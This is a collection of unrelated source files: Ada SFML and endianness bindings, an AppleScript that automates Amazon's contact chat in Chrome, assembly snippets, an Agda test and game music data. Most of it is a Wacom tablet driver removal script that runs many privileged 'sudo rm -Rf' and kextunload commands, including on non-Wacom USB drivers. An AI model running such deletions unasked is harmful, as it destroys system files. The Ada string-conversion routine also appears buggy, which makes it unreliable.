-- ////////////////////////////////////////////////////////////
-- /// Construct an address from a string
-- ///
-- /// \param String : IP address ("xxx.xxx.xxx.xxx") or network name
-- ///
-- /// \return Resulting address
-- ///
-- ////////////////////////////////////////////////////////////
function sfIPAddress_FromString (Str : String) return sfIPAddress is
function Internal (Str : chars_ptr) return sfIPAddress;
pragma Import (C, Internal, "sfIPAddress_FromString");
Temp : chars_ptr := New_String (Str);
R : sfIPAddress := Internal (Temp);
begin
Free (Temp);
return R;
end sfIPAddress_FromString;
-- ////////////////////////////////////////////////////////////
-- /// Get a string representation of an address
-- ///
-- /// \param Address : Address to convert
-- /// \param String : Char array to fill (size must be >= 16)
-- ///
-- ////////////////////////////////////////////////////////////
procedure sfIPAddress_ToString (Address : sfIPAddress; Str : out String) is
procedure Internal (Address : sfIPAddress; Str : chars_ptr);
pragma Import (C, Internal, "sfIPAddress_ToString");
Temp : chars_ptr;
begin
Internal (Address, Temp);
Str (Str'FIRST .. Str'FIRST + 16) := Value (Temp) (0 .. 15);
end sfIPAddress_ToString;
end Sf.Network.IPAddress;
|
src/endianness.ads | AntonMeep/endianness | 0 | 30396 | <gh_stars>0
with Ada.Streams; use Ada.Streams;
package Endianness with
Pure,
Preelaborate,
SPARK_Mode => On
is
-- @summary
-- Convenience subprograms to convert between Big- and Little-endianness
--
-- @description
-- This package contains a few convenient subprograms that allow you to
-- simply switch between native endianness of the running system and big
-- or little endianness. Ada's byte order handling is quite sophisticated
-- and it doesn't provide such routines at all. Hopefully, there is a
-- GNAT.Byte_Swapping available in GNAT, but it only allows for simple
-- swapping of bytes.
-- This package is built on top of GNAT.Byte_Swapping, but provides much
-- simpler programming interface.
--
-- This package provides generic function interfaces, but mostly you would
-- be better off utilizing already instantiated Endiannes.Standard and
-- Endianness.Interfaces packages which initialize all of the provided
-- functions for compatible types from Standard and Interfaces packages,
-- respectively.
generic
type Source is (<>);
-- Input source type
function Swap_Endian (Value : Source) return Source with
Global => null,
Pre => Source'Size = 8 or else Source'Size = 16 or else Source'Size = 32
or else Source'Size = 64;
-- Convert from one endianness to another.
generic
type Source is (<>);
-- Input source types
function Native_To_Big_Endian
(Value : Source) return Stream_Element_Array with
Global => null,
Pre => Source'Size = 8 or else Source'Size = 16 or else Source'Size = 32
or else Source'Size = 64,
Post => Native_To_Big_Endian'Result'Length =
Source'Max_Size_In_Storage_Elements;
-- Convert Value from native endianness into an array of bytes, ordered
-- as in big endian.
generic
type Source is (<>);
function Native_To_Little_Endian
(Value : Source) return Stream_Element_Array with
Global => null,
Pre => Source'Size = 8 or else Source'Size = 16 or else Source'Size = 32
or else Source'Size = 64,
Post => Native_To_Little_Endian'Result'Length =
Source'Max_Size_In_Storage_Elements;
-- Convert Value from native endianness into an array of bytes, ordered
-- as in little endian.
generic
type Target is (<>);
function Big_Endian_To_Native
(Value : Stream_Element_Array) return Target with
Global => null,
Pre =>
(Target'Size = 8 or else Target'Size = 16 or else Target'Size = 32
or else Target'Size = 64)
and then Value'Length = Target'Max_Size_In_Storage_Elements;
-- Convert Value from an array of bytes into a native value, order
-- of input bytes is assumed to be in big endian
generic
type Target is (<>);
function Little_Endian_To_Native
(Value : Stream_Element_Array) return Target with
Global => null,
Pre =>
(Target'Size = 8 or else Target'Size = 16 or else Target'Size = 32
or else Target'Size = 64)
and then Value'Length = Target'Max_Size_In_Storage_Elements;
-- Convert Value from an array of bytes into a native value, order
-- of input bytes is assumed to be in little endian
end Endianness;
|
source/vampire-r3-register_page.ads | ytomino/vampire | 1 | 8390 | <reponame>ytomino/vampire
-- The Village of Vampire by YT, このソースコードはNYSLです
procedure Vampire.R3.Register_Page (
Output : not null access Ada.Streams.Root_Stream_Type'Class;
Form : in Forms.Root_Form_Type'Class;
Template : in String;
Base_Page : in Forms.Base_Page;
Village_Id : in Tabula.Villages.Village_Id :=
Tabula.Villages.Invalid_Village_Id;
New_User_Id : in String;
New_User_Password : in String);
|
lib/amazon-chat.applescript | claui/amazon-utils | 0 | 2877 | on run(argv)
set contactURL to ¬
"https://www.amazon.de/hz/contact-us"
log "Requesting page: " & contactURL
set currentTab to my openTab(contactURL)
my waitForPageToBeReady(currentTab, contactURL)
tell application "Google Chrome"
log "Starting JavaScript execution; " ¬
& "see developer console for details"
execute currentTab javascript "(() => {
const format = '[amazon-utils] %s';
const nonOrderButtonId = 27;
const preOrderOptionId = 45;
let waitForElementById = (id) =>
waitForElement(() => document.getElementById(id));
let waitForElement = function (elementSelector) {
console.log(format, 'Waiting for element');
return new Promise((resolve, reject) => {
if (elementSelector === undefined) {
reject(new Error('No element selector given'));
}
let pollId = setInterval(function () {
let element = elementSelector();
if (element !== undefined
&& element.style !== undefined
&& element.style.value === undefined) {
clearInterval(pollId);
console.log(format, 'Found element');
resolve(element);
}
}, 500);
});
};
let asyncRun = async function () {
console.log(format, 'Waiting for non-order button');
let nonOrderButton =
await waitForElementById(nonOrderButtonId);
console.log(format, 'Switching to non-order section');
nonOrderButton.dispatchEvent(new Event('click'));
console.log(format, 'Waiting for second select box');
let secondNodeSelectBox =
await waitForElementById('cu-select-secondNode');
console.log(format, 'Selecting second node');
secondNodeSelectBox.value = preOrderOptionId;
secondNodeSelectBox.dispatchEvent(new Event('change'));
console.log(format, 'Waiting for button wrapper');
let chatButtonWrapper = await waitForElement(() =>
document
.getElementsByClassName('cu-contact-channel-chat')[0]);
console.log(format, 'Waiting for button');
let chatButton = await waitForElement(() =>
chatButtonWrapper
.getElementsByClassName('cu-contact-channel-btn')[0]);
console.log(format, 'Clicking button');
chatButton.dispatchEvent(new Event('click'));
console.log(format, 'Done');
};
asyncRun();
'Done'
})();"
end tell
end run
on openTab(anURL)
tell application "Google Chrome"
activate
set isRequestedPageLoaded to ¬
window 1's active tab's URL starts with anURL
if isRequestedPageLoaded is false then
tell window 1 to make new tab
set window 1's active tab's URL to anURL
end if
return window 1's active tab
end tell
end openTab
on waitForPageToBeReady(currentTab, contactURL)
using terms from application "Google Chrome"
repeat
if currentTab's loading is true then
log "Page loading, waiting …"
delay 0.5
else
if currentTab's URL starts with contactURL then
log "Target page loaded"
exit
else
log "Redirection detected, waiting …"
delay 0.5
end if
end if
end repeat
end using terms from
end waitForPageToBeReady
|
libsrc/_DEVELOPMENT/adt/bv_priority_queue/c/sccz80/bv_priority_queue_capacity.asm | jpoikela/z88dk | 640 | 172906 | <reponame>jpoikela/z88dk
; size_t bv_priority_queue_capacity(bv_priority_queue_t *q)
SECTION code_clib
SECTION code_adt_bv_priority_queue
PUBLIC bv_priority_queue_capacity
EXTERN asm_bv_priority_queue_capacity
defc bv_priority_queue_capacity = asm_bv_priority_queue_capacity
; SDCC bridge for Classic
IF __CLASSIC
PUBLIC _bv_priority_queue_capacity
defc _bv_priority_queue_capacity = bv_priority_queue_capacity
ENDIF
|
oeis/138/A138101.asm | neoneye/loda-programs | 11 | 7503 | <reponame>neoneye/loda-programs<filename>oeis/138/A138101.asm
; A138101: The atomic numbers read along the even-indexed rows of the Janet table of the elements.
; Submitted by <NAME>
; 3,4,13,14,15,16,17,18,19,20,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120
mov $1,$0
mul $0,2
seq $1,168142 ; Count downwards from 2, then from 8, then from 18, then from ... 2*k^2, k>=1.
add $0,$1
add $0,1
|
del4Tablet.scpt | 100ideas/del4Tablet.scpt | 1 | 182 | #!/usr/bin/osascript
(*
English fork @100ideas
----------------------
https://github.com/100ideas/del4Tablet.scpt
INSTRUCTIONS
chmod +x del4Tablet.scpt
sudo ./del4Tablet.scpt
CHANGELOG
20170502 english, switch to shebang shell form
applescript reference:
developer.apple.com/library/content/documentation/AppleScript/Conceptual/AppleScriptLangGuide/conceptual/ASLR_lexical_conventions.html
* github web editor added smart-quotes or clobbered or continuation character, '¬' ?
Original changelog by @force4u
------------------------------
https://github.com/force4u/del4Tablet.scpt
WACOM タブレットドライバー削除
20150620 rev2
20150704 rev3
http://force4u.cocolog-nifty.com/skywalker/
*)
log "\ncurrently installed non-apple kernel extensions (.kext):"
do shell script (("kextstat | grep -v com.apple") as text) with administrator privileges
log "\n sudoing..."
(*
try
do shell script (("ls .") as text) with administrator privileges
log "lanchctl unload '/Library/LaunchAgents/com.wacom.wacomtablet.plist'"
log "rm -Rf /Library/LaunchAgents/com.wacom.wacomtablet.plist'"
log "launchctl unload -w /Library/LaunchAgents/com.wacom.pentablet.plist"
log "rm -Rf /Library/LaunchAgents/com.wacom.pentablet.plist"
end try
*)
try
do shell script (("sudo launchctl unload -w '/Library/LaunchAgents/com.wacom.wacomtablet.plist'") as text) with administrator privileges
log "launchctl unload -w '/Library/LaunchAgents/com.wacom.wacomtablet.plist'"
end try
try
do shell script (("sudo touch '/Library/LaunchAgents/com.wacom.wacomtablet.plist'") as text) with administrator privileges
do shell script (("sudo rm -Rf '/Library/LaunchAgents/com.wacom.wacomtablet.plist'") as text) with administrator privileges
end try
try
do shell script (("sudo launchctl unload -w '/Library/LaunchAgents/com.wacom.pentablet.plist'") as text) with administrator privileges
log "launchctl unload -w '/Library/LaunchAgents/com.wacom.pentablet.plist'"
end try
try
do shell script (("sudo touch '/Library/LaunchAgents/com.wacom.pentablet.plist'") as text) with administrator privileges
do shell script (("sudo rm -Rf '/Library/LaunchAgents/com.wacom.pentablet.plist'") as text) with administrator privileges
log "rm -Rf '/Library/LaunchAgents/com.wacom.pentablet.plist'"
end try
try
do shell script (("sudo touch '/Library/Application Support/Tablet'") as text) with administrator privileges
do shell script (("sudo rm -Rf '/Library/Application Support/Tablet'") as text) with administrator privileges
log "rm -Rf '/Library/Application Support/Tablet'"
end try
try
do shell script (("sudo touch '/Library/Application Support/Inkling'") as text) with administrator privileges
do shell script (("sudo rm -Rf '/Library/Application Support/Inkling'") as text) with administrator privileges
log "rm -Rf '/Library/Application Support/Inkling'"
end try
try
do shell script (("sudo touch '/Library/PreferencePanes/PenTablet.prefPane'") as text) with administrator privileges
do shell script (("sudo rm -Rf '/Library/PreferencePanes/PenTablet.prefPane'") as text) with administrator privileges
log "rm -Rf '/Library/PreferencePanes/PenTablet.prefPane'"
end try
try
do shell script (("sudo touch '/Library/PreferencePanes/WacomTablet.prefPane'") as text) with administrator privileges
do shell script (("sudo rm -Rf '/Library/PreferencePanes/WacomTablet.prefPane'") as text) with administrator privileges
log "rm -Rf '/Library/PreferencePanes/WacomTablet.prefPane'"
end try
try
do shell script (("sudo touch '/Applications/Pen Tablet.localized'") as text) with administrator privileges
do shell script (("sudo rm -Rf '/Applications/Pen Tablet.localized'") as text) with administrator privileges
log "rm -Rf '/Applications/Pen Tablet.localized'"
end try
try
do shell script (("sudo touch '/Applications/Wacom Tablet.localized'") as text) with administrator privileges
do shell script (("sudo rm -Rf '/Applications/Wacom Tablet.localized'") as text) with administrator privileges
log "rm -Rf '/Applications/Wacom Tablet.localized'"
end try
try
do shell script (("sudo touch '/Applications/Wacom'") as text) with administrator privileges
do shell script (("sudo rm -Rf '/Applications/Wacom'") as text) with administrator privileges
log "rm -Rf '/Applications/Wacom'"
end try
try
do shell script (("sudo touch '/Library/Preferences/Tablet'") as text) with administrator privileges
do shell script (("sudo rm -Rf '/Library/Preferences/Tablet'") as text) with administrator privileges
log "rm -Rf '/Library/Preferences/Tablet'"
end try
try
do shell script (("sudo touch '/Library/Preferences/Inkling'") as text) with administrator privileges
do shell script (("sudo rm -Rf '/Library/Preferences/Inkling'") as text) with administrator privileges
log "rm -Rf '/Library/Preferences/Inkling'"
end try
---20150704追加
try
do shell script (("sudo touch /Library/Preferences/com.wacom*") as text) with administrator privileges
do shell script (("sudo rm -Rf /Library/Preferences/com.wacom*") as text) with administrator privileges
log "rm -Rf /Library/Preferences/com.wacom*"
end try
---
try
do shell script (("sudo touch '/private/var/db/receipts/com.wacom.installpentablet.bom'") as text) with administrator privileges
do shell script (("sudo rm -Rf '/private/var/db/receipts/com.wacom.installpentablet.bom'") as text) with administrator privileges
log "rm -Rf '/private/var/db/receipts/com.wacom.installpentablet.bom'"
end try
try
do shell script (("sudo touch '/private/var/db/receipts/com.wacom.installpentablet.plist'") as text) with administrator privileges
do shell script (("sudo rm -Rf '/private/var/db/receipts/com.wacom.installpentablet.plist'") as text) with administrator privileges
log "rm -Rf '/private/var/db/receipts/com.wacom.installpentablet.plist'"
end try
try
do shell script (("sudo touch '/Library/Internet Plug-Ins/WacomTabletPlugin.plugin'") as text) with administrator privileges
do shell script (("sudo rm -Rf '/Library/Internet Plug-Ins/WacomTabletPlugin.plugin'") as text) with administrator privileges
log "rm -Rf '/Library/Internet Plug-Ins/WacomTabletPlugin.plugin'"
end try
try
do shell script (("sudo touch '/Library/Internet Plug-Ins/WacomNetscape.plugin'") as text) with administrator privileges
do shell script (("sudo rm -Rf '/Library/Internet Plug-Ins/WacomNetscape.plugin'") as text) with administrator privileges
log "rm -Rf '/Library/Internet Plug-Ins/WacomNetscape.plugin'"
end try
try
do shell script (("sudo touch '/Library/Internet Plug-Ins/WacomSafari.plugin'") as text) with administrator privileges
do shell script (("sudo rm -Rf '/Library/Internet Plug-Ins/WacomSafari.plugin'") as text) with administrator privileges
log "rm -Rf '/Library/Internet Plug-Ins/WacomSafari.plugin'"
end try
try
do shell script (("sudo touch '/Library/Frameworks/WacomMultiTouch.framework'") as text) with administrator privileges
do shell script (("sudo rm -Rf '/Library/Frameworks/WacomMultiTouch.framework'") as text) with administrator privileges
log "rm -Rf '/Library/Frameworks/WacomMultiTouch.framework'"
end try
try
do shell script (("sudo mkdir -p '/System/Library/Extensions Disabled'") as text) with administrator privileges
log "mkdir -p '/System/Library/Extensions Disabled'"
try
do shell script (("sudo kextunload '/System/Library/Extensions/SiLabsUSBDriver.kext'") as text) with administrator privileges
log "kextunload '/System/Library/Extensions/SiLabsUSBDriver.kext'"
end try
do shell script (("sudo touch '/System/Library/Extensions/SiLabsUSBDriver.kext'") as text) with administrator privileges
do shell script (("mv -f '/System/Library/Extensions/SiLabsUSBDriver.kext' '/System/Library/Extensions Disabled'") as text) with administrator privileges
log "mv -f '/System/Library/Extensions/SiLabsUSBDriver.kext' '/System/Library/Extensions Disabled'"
do shell script (("sudo rm -Rf '/System/Library/Extensions Disabled/SiLabsUSBDriver.kext'") as text) with administrator privileges
log "rm -Rf '/System/Library/Extensions Disabled/SiLabsUSBDriver.kext'"
end try
try
do shell script (("sudo mkdir -p '/System/Library/Extensions Disabled'") as text) with administrator privileges
log "mkdir -p '/System/Library/Extensions Disabled'"
try
do shell script (("sudo kextunload '/System/Library/Extensions/Pen Tablet.kext'") as text) with administrator privileges
log "kextunload '/System/Library/Extensions/Pen Tablet.kext'"
end try
do shell script (("sudo touch '/System/Library/Extensions/Pen Tablet.kext'") as text) with administrator privileges
do shell script (("mv -f '/System/Library/Extensions/Pen Tablet.kext' '/System/Library/Extensions Disabled'") as text) with administrator privileges
log "mv -f '/System/Library/Extensions/Pen Tablet.kext' '/System/Library/Extensions Disabled'"
do shell script (("sudo rm -Rf '/System/Library/Extensions Disabled/Pen Tablet.kext'") as text) with administrator privileges
log "rm -Rf '/System/Library/Extensions Disabled/Pen Tablet.kext'"
end try
try
do shell script (("sudo mkdir -p '/System/Library/Extensions Disabled'") as text) with administrator privileges
log "mkdir -p '/System/Library/Extensions Disabled'"
try
do shell script (("sudo kextunload '/System/Library/Extensions/Wacom Tablet.kext'") as text) with administrator privileges
log "kextunload '/System/Library/Extensions/Wacom Tablet.kext'"
end try
do shell script (("sudo touch '/System/Library/Extensions/Wacom Tablet.kext'") as text) with administrator privileges
do shell script (("mv -f '/System/Library/Extensions/Wacom Tablet.kext' '/System/Library/Extensions Disabled'") as text) with administrator privileges
log "mv -f '/System/Library/Extensions/Wacom Tablet.kext' '/System/Library/Extensions Disabled'"
do shell script (("sudo rm -Rf '/System/Library/Extensions Disabled/Wacom Tablet.kext'") as text) with administrator privileges
log "rm -Rf '/System/Library/Extensions Disabled/Wacom Tablet.kext'"
end try
try
do shell script (("sudo mkdir -p '/System/Library/Extensions Disabled'") as text) with administrator privileges
log "mkdir -p '/System/Library/Extensions Disabled'"
try
do shell script (("sudo kextunload '/System/Library/Extensions/TabletDriverCFPlugin.bundle'") as text) with administrator privileges
log "kextunload '/System/Library/Extensions/TabletDriverCFPlugin.bundle'"
end try
do shell script (("sudo touch '/System/Library/Extensions/TabletDriverCFPlugin.bundle'") as text) with administrator privileges
do shell script (("mv -f '/System/Library/Extensions/TabletDriverCFPlugin.bundle' '/System/Library/Extensions Disabled'") as text) with administrator privileges
log "mv -f '/System/Library/Extensions/TabletDriverCFPlugin.bundle' '/System/Library/Extensions Disabled'"
do shell script (("sudo rm -Rf '/System/Library/Extensions Disabled/TabletDriverCFPlugin.bundle'") as text) with administrator privileges
log "rm -Rf '/System/Library/Extensions Disabled/TabletDriverCFPlugin.bundle'"
end try
try
do shell script (("sudo mkdir -p '/Library/Frameworks Disabled'") as text) with administrator privileges
log "mkdir -p '/Library/Frameworks Disabled'"
do shell script (("sudo touch '/Library/Frameworks/WacomMultiTouch.framework'") as text) with administrator privileges
do shell script (("mv -f '/Library/Frameworks/WacomMultiTouch.framework' '/Library/Frameworks Disabled'") as text) with administrator privileges
log "mv -f '/Library/Frameworks/WacomMultiTouch.framework' '/Library/Frameworks Disabled'"
do shell script (("sudo rm -Rf '/Library/Frameworks Disabled/WacomMultiTouch.framework'") as text) with administrator privileges
log "rm -Rf '/Library/Frameworks Disabled/WacomMultiTouch.framework'"
end try
try
do shell script (("sudo mkdir -p '/Library/Extensions Disabled'") as text) with administrator privileges
log "mkdir -p '/Library/Extensions Disabled'"
try
do shell script (("sudo kextunload '/Library/Extensions/FTDIKext.kext'") as text) with administrator privileges
log "kextunload '/Library/Extensions/FTDIKext.kext'"
end try
do shell script (("sudo touch '/Library/Extensions/FTDIKext.kext'") as text) with administrator privileges
do shell script (("mv -f '/Library/Extensions/FTDIKext.kext' '/Library/Extensions Disabled'") as text) with administrator privileges
log "mv -f '/Library/Extensions/FTDIKext.kext' '/Library/Extensions Disabled'"
do shell script (("sudo rm -Rf '/Library/Extensions Disabled/FTDIKext.kext'") as text) with administrator privileges
log "rm -Rf '/Library/Extensions Disabled/FTDIKext.kext'"
end try
try
do shell script (("sudo mkdir -p '/System/Library/Extensions Disabled'") as text) with administrator privileges
log "mkdir -p '/System/Library/Extensions Disabled'"
try
do shell script (("sudo kextunload '//System/Library/Extensions/SiLabsUSBDriver64.kext'") as text) with administrator privileges
log "kextunload '//System/Library/Extensions/SiLabsUSBDriver64.kext'"
end try
do shell script (("sudo touch '/System/Library/Extensions/SiLabsUSBDriver64.kext'") as text) with administrator privileges
do shell script (("mv -f '/System/Library/Extensions/SiLabsUSBDriver64.kext' '/System/Library/Extensions Disabled'") as text) with administrator privileges
log "mv -f '/System/Library/Extensions/SiLabsUSBDriver64.kext' '/System/Library/Extensions Disabled'"
do shell script (("sudo rm -Rf '/System/Library/Extensions Disabled/SiLabsUSBDriver64.kext'") as text) with administrator privileges
log "rm -Rf '/System/Library/Extensions Disabled/SiLabsUSBDriver64.kext'"
end try
try
do shell script (("sudo mkdir -p '/System/Library/Extensions Disabled'") as text) with administrator privileges
log "mkdir -p '/System/Library/Extensions Disabled'"
try
do shell script (("sudo kextunload '/System/Library/Extensions/SiLabsUSBDriver.kext'") as text) with administrator privileges
log "kextunload '/System/Library/Extensions/SiLabsUSBDriver.kext'"
end try
do shell script (("sudo touch '/System/Library/Extensions/SiLabsUSBDriver.kext'") as text) with administrator privileges
do shell script (("mv -f '/System/Library/Extensions/SiLabsUSBDriver.kext' '/System/Library/Extensions Disabled'") as text) with administrator privileges
log "mv -f '/System/Library/Extensions/SiLabsUSBDriver.kext' '/System/Library/Extensions Disabled'"
do shell script (("sudo rm -Rf '/System/Library/Extensions Disabled/SiLabsUSBDriver.kext'") as text) with administrator privileges
log "rm -Rf '/System/Library/Extensions Disabled/SiLabsUSBDriver.kext'"
end try
set theMes to "\nFinished Removing kexts & framework files\nKexts won't be unloaded from memory until system restart" as text
log theMes
display notification theMes with title "del4Tablet.scpt Wacom Driver removal script"
return
---
|
test/Succeed/Issue3290.agda | shlevy/agda | 1,989 | 1415 | <filename>test/Succeed/Issue3290.agda
module _ where
open import Agda.Builtin.Equality
open import Agda.Builtin.Nat
variable
f : Nat → Nat
-- Drops the argument to f!
foo : (n : Nat) → f n ≡ n → f (f n) ≡ n
foo n eq rewrite eq = eq
|
audio/music/dungeon3.asm | etdv-thevoid/pokemon-rgb-enhanced | 9 | 17812 | Music_Dungeon3_Ch0::
tempo 160
volume 7, 7
duty 3
toggleperfectpitch
vibrato 8, 1, 4
Music_Dungeon3_branch_7e9fc::
notetype 12, 12, 3
Music_Dungeon3_branch_7e9fe::
callchannel Music_Dungeon3_branch_7eab2
loopchannel 3, Music_Dungeon3_branch_7e9fe
octave 2
B_ 2
octave 3
D# 2
G_ 2
octave 2
B_ 2
octave 3
D# 2
G_ 2
D# 2
E_ 2
Music_Dungeon3_branch_7ea11::
callchannel Music_Dungeon3_branch_7eac1
loopchannel 4, Music_Dungeon3_branch_7ea11
Music_Dungeon3_branch_7ea18::
callchannel Music_Dungeon3_branch_7eab2
loopchannel 4, Music_Dungeon3_branch_7ea18
octave 4
F_ 2
F_ 2
rest 2
F_ 2
E_ 2
E_ 2
D# 2
D# 2
rest 2
D# 2
D_ 2
D_ 2
callchannel Music_Dungeon3_branch_7eafc
octave 4
D_ 2
D_ 2
rest 2
D_ 2
D# 2
D# 2
E_ 2
E_ 2
rest 2
E_ 2
F_ 2
F_ 2
Music_Dungeon3_branch_7ea3c::
callchannel Music_Dungeon3_branch_7eace
loopchannel 4, Music_Dungeon3_branch_7ea3c
Music_Dungeon3_branch_7ea43::
callchannel Music_Dungeon3_branch_7eadd
loopchannel 3, Music_Dungeon3_branch_7ea43
octave 3
C# 2
octave 2
A_ 2
F_ 2
octave 3
C# 2
octave 2
A_ 2
F_ 2
octave 3
A_ 2
F_ 2
octave 4
C# 2
octave 3
A_ 2
F_ 2
octave 4
C# 2
octave 3
A_ 2
F_ 2
A_ 2
F_ 2
octave 4
C# 2
octave 3
A_ 2
F_ 2
octave 4
C# 2
octave 3
A_ 2
F_ 2
octave 4
C# 2
octave 3
A_ 2
F_ 2
octave 4
C# 2
octave 3
A_ 2
F_ 2
octave 4
C# 2
octave 3
A_ 2
F_ 2
octave 4
C# 2
octave 3
A_ 2
F_ 2
G# 2
E_ 2
octave 4
C_ 2
octave 3
G# 2
E_ 2
octave 4
C_ 2
callchannel Music_Dungeon3_branch_7eaea
callchannel Music_Dungeon3_branch_7eaea
octave 3
G# 2
E_ 2
octave 4
C_ 2
octave 3
G# 2
E_ 2
octave 4
C_ 2
octave 3
G# 2
E_ 2
rest 16
rest 8
callchannel Music_Dungeon3_branch_7eaf7
callchannel Music_Dungeon3_branch_7eaf7
callchannel Music_Dungeon3_branch_7eaf7
callchannel Music_Dungeon3_branch_7eaf7
D# 2
rest 16
rest 16
loopchannel 0, Music_Dungeon3_branch_7e9fc
Music_Dungeon3_branch_7eab2::
octave 2
B_ 2
octave 3
D# 2
G_ 2
octave 2
B_ 2
octave 3
D# 2
G_ 2
octave 2
B_ 2
octave 3
D# 2
endchannel
Music_Dungeon3_branch_7eac1::
E_ 2
G# 2
octave 4
C_ 2
octave 3
E_ 2
G# 2
octave 4
C_ 2
octave 3
E_ 2
G# 2
endchannel
Music_Dungeon3_branch_7eace::
octave 3
D# 2
octave 2
B_ 2
octave 3
G_ 2
D# 2
octave 2
B_ 2
octave 3
G_ 2
D# 2
octave 2
B_ 2
endchannel
Music_Dungeon3_branch_7eadd::
A_ 2
F_ 2
octave 3
C# 2
octave 2
A_ 2
F_ 2
octave 3
C# 2
octave 2
A_ 2
F_ 2
endchannel
Music_Dungeon3_branch_7eaea::
octave 3
G# 2
E_ 2
G# 2
E_ 2
octave 4
C_ 2
octave 3
G# 2
E_ 2
octave 4
C_ 2
endchannel
Music_Dungeon3_branch_7eaf7::
D# 2
G_ 2
D# 2
C# 6
endchannel
Music_Dungeon3_branch_7eafc::
tempo 168
octave 1
A# 1
B_ 1
octave 2
C_ 1
C# 1
D_ 1
D# 1
E_ 1
F_ 1
tempo 176
octave 1
A# 1
B_ 1
octave 2
C_ 1
C# 1
D_ 1
D# 1
E_ 1
F_ 1
tempo 184
octave 1
A# 1
B_ 1
octave 2
C_ 1
C# 1
D_ 1
D# 1
E_ 1
F_ 1
tempo 192
octave 1
A_ 1
A# 1
B_ 1
octave 2
C_ 1
C# 1
D_ 1
D# 1
E_ 1
tempo 200
octave 1
G# 1
A_ 1
A# 1
B_ 1
octave 2
C_ 1
C# 1
D_ 1
D# 1
tempo 208
octave 1
G_ 1
G# 1
A_ 1
A# 1
B_ 1
octave 2
C_ 1
C# 1
D_ 1
tempo 216
octave 1
F# 1
G_ 1
G# 1
A_ 1
A# 1
B_ 1
octave 2
C_ 1
C# 1
tempo 224
octave 1
F_ 1
F# 1
G_ 1
G# 1
A_ 1
A# 1
B_ 1
octave 2
C_ 1
tempo 160
endchannel
Music_Dungeon3_Ch1::
vibrato 11, 1, 5
duty 3
Music_Dungeon3_branch_7eb6d::
notetype 12, 13, 3
octave 4
D# 6
C# 6
octave 3
B_ 2
octave 4
C# 2
D# 2
G_ 2
D# 2
C# 6
octave 3
B_ 2
octave 4
C# 2
D# 2
G_ 2
D# 2
C# 6
octave 3
B_ 2
A# 2
B_ 6
octave 4
C# 8
rest 2
G# 6
F# 6
E_ 2
F# 2
G# 2
octave 5
C_ 2
octave 4
G# 2
F# 6
E_ 2
F# 2
G# 2
octave 5
C_ 2
octave 4
G# 2
F# 6
E_ 2
D# 2
E_ 6
F# 6
E_ 4
D# 6
C# 6
octave 3
B_ 2
octave 4
C# 2
D# 2
G_ 2
D# 2
C# 6
octave 3
B_ 2
octave 4
C# 2
D# 2
G_ 2
D# 2
C# 6
octave 3
B_ 2
A# 2
B_ 6
octave 4
C# 8
rest 2
G# 2
G# 2
rest 2
G# 2
A_ 2
A_ 2
A# 2
A# 2
rest 2
A# 2
B_ 2
B_ 2
rest 8
rest 8
rest 8
rest 8
rest 8
rest 8
rest 8
rest 8
octave 4
B_ 2
B_ 2
rest 2
B_ 2
A# 2
A# 2
A_ 2
A_ 2
rest 2
A_ 2
G# 2
G# 2
C# 8
rest 2
octave 3
B_ 6
A# 2
B_ 2
octave 4
D# 2
G_ 2
D# 2
C# 6
octave 3
B_ 2
octave 4
C# 2
D# 2
G_ 2
D# 2
C# 6
octave 3
B_ 2
octave 4
C# 2
D# 6
G_ 6
octave 3
G_ 8
rest 2
F_ 6
E_ 2
F_ 2
A_ 2
octave 4
C# 2
octave 3
A_ 2
G_ 6
F_ 2
G_ 2
A_ 2
octave 4
C# 2
octave 3
A_ 2
G_ 6
A_ 6
octave 4
C# 6
G_ 8
rest 2
F_ 6
E_ 2
F_ 2
A_ 2
octave 5
C# 2
octave 4
A_ 2
G_ 6
A_ 2
octave 5
C# 2
octave 4
A_ 2
G_ 6
A_ 6
octave 5
C# 6
octave 4
F# 8
rest 2
E_ 6
D# 2
E_ 2
G# 2
octave 5
C_ 2
octave 4
G# 2
F# 6
E_ 2
F# 2
G# 2
octave 5
C_ 2
octave 4
G# 2
F# 6
G# 6
octave 5
C_ 6
octave 3
D# 2
G_ 2
D# 2
C# 6
D# 2
G_ 2
D# 2
C# 6
octave 2
E_ 2
G# 2
octave 3
C_ 2
E_ 2
G# 2
octave 4
C_ 2
E_ 2
G# 2
C_ 2
E_ 2
G# 2
C_ 2
E_ 2
G# 2
C_ 2
E_ 2
G# 2
C_ 2
E_ 2
G# 2
C_ 2
E_ 2
G# 2
C_ 2
D# 2
octave 2
B_ 2
octave 3
D# 2
G_ 2
octave 2
B_ 2
octave 3
D# 2
G_ 2
octave 2
B_ 2
octave 3
D# 2
octave 2
B_ 2
octave 3
D# 2
G_ 2
octave 2
B_ 2
octave 3
D# 2
G_ 2
octave 2
B_ 2
octave 3
D# 2
loopchannel 0, Music_Dungeon3_branch_7eb6d
Music_Dungeon3_Ch2::
notetype 12, 1, 2
rest 16
rest 16
rest 16
rest 16
rest 16
rest 16
rest 16
rest 16
rest 16
rest 16
rest 16
rest 12
notetype 6, 1, 0
octave 3
B_ 1
octave 4
C_ 1
C# 1
D_ 1
D# 1
E_ 1
rest 2
C_ 1
C# 1
D_ 1
D# 1
E_ 1
F_ 1
rest 16
rest 16
rest 10
octave 5
E_ 8
octave 4
B_ 8
octave 5
D# 8
octave 4
A# 8
octave 5
D_ 8
octave 4
A_ 8
octave 5
C# 8
octave 4
G# 8
octave 5
C_ 8
octave 4
G_ 8
B_ 8
F# 8
A# 8
F_ 8
A_ 8
E_ 8
rest 16
rest 16
rest 8
F_ 1
E_ 1
D# 1
D_ 1
C# 1
C_ 1
rest 2
E_ 1
D# 1
D_ 1
C# 1
C_ 1
octave 3
B_ 1
rest 10
rest 16
notetype 12, 1, 0
rest 16
rest 16
rest 16
rest 16
rest 16
rest 16
rest 16
rest 16
rest 16
rest 16
rest 16
rest 16
rest 16
rest 16
rest 16
rest 16
rest 16
rest 16
rest 16
rest 16
rest 10
loopchannel 0, Music_Dungeon3_Ch2
Music_Dungeon3_Ch3::
dspeed 12
rest 16
rest 16
rest 16
rest 16
rest 16
rest 16
rest 16
rest 16
rest 16
rest 16
rest 16
rest 16
rest 16
rest 16
rest 16
rest 16
rest 16
rest 16
rest 16
rest 16
rest 16
rest 16
rest 16
rest 16
rest 16
rest 16
rest 16
rest 16
rest 16
rest 16
rest 16
rest 16
rest 16
rest 16
rest 16
rest 16
rest 16
rest 16
rest 16
rest 16
